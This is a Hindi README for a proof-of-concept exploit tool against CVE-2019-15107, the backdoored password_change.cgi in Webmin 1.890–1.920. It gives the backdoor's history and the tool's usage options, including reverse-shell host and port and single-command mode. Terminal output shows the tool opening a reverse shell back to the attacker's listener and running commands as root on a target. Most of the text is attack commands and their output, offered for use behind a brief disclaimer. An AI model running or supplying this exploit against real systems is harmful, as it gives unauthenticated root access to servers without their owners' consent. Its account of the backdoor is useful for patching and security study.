
CVE-2019-15107 (Webmin <= 1.920) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो कमांड इंजेक्शन के माध्यम से बिना प्रमाणीकरण के RCE सक्षम करता है।
इस रिपॉजिटरी में CVE-2019-15107 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) एक्सप्लॉइट है, जो Webmin संस्करण 1.890 से 1.920 को प्रभावित करता है।
स्क्रिप्ट संस्करण 1.890 से 1.920 में एक बैकडोर का शोषण करती है, जो बिना प्रमाणीकरण वाले उपयोगकर्ताओं को old (v.1.890 में expired) पैरामीटर के माध्यम से password_change.cgi एंडपॉइंट में कमांड इंजेक्ट करने की अनुमति देता है। केवल SourceForge डाउनलोड में बैकडोर था, लेकिन उन्हें प्रोजेक्ट की साइट पर आधिकारिक डाउनलोड के रूप में सूचीबद्ध किया गया है।
अज्ञात हमलावरों ने बिल्ड सर्वर के सोर्स कोड में दो अलग-अलग अवसरों पर Perl qx स्टेटमेंट डाले: एक बार अप्रैल 2018 में, 1.890 रिलीज़ में बैकडोर पेश करते हुए, और जुलाई 2018 में, रिलीज़ 1.900 से 1.920 में बैकडोर को फिर से पेश करते हुए।
केवल संस्करण 1.890 डिफ़ॉल्ट इंस्टॉल में शोषण योग्य है। बाद के प्रभावित संस्करणों में एक्सपायर्ड पासवर्ड बदलने की सुविधा को सक्षम करना आवश्यक है।
एक्सप्लॉइट का सफलतापूर्वक परीक्षण निम्न के विरुद्ध किया गया:
python3 cve-2019-15107.py -r <TARGET_IP> -l <LOCAL_IP> [options]
options:
-h, --help Show this help message and exit
-r, --rhost RHOST Target IP address
-rp, --rport RPORT Target port (default: 10000)
-l, --lhost LHOST Local IP for reverse shell
-lp, --lport LPORT Local port for reverse shell (default: 4343)
-s, --scheme {http,https} Protocol to use (default: https)
-x, --proxy [PROXY] Use proxy (default: http://127.0.0.1:8080)
-f, --force Force exploitation even if detection fails
-c, --cmd CMD Execute a single command instead of reverse shell
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[*] Starting listener on port 4343...
listening on [any] 4343 ...
[*] Sending payload...
connect to [192.168.158.129] from (UNKNOWN) [10.114.159.93] 59970
bash: cannot set terminal process group (1314): Inappropriate ioctl for device
bash: no job control in this shell
root@source:/usr/share/webmin/# whoami
whoami
root
root@source:/usr/share/webmin/#
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129 -c whoami
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[+] Command output:
========================================
root
यह टूल केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए है। जिन सिस्टमों के आप स्वामी नहीं हैं या जिनका परीक्षण करने की अनुमति आपके पास नहीं है, उनके विरुद्ध अनधिकृत उपयोग अवैध है। जिम्मेदारी से उपयोग करें।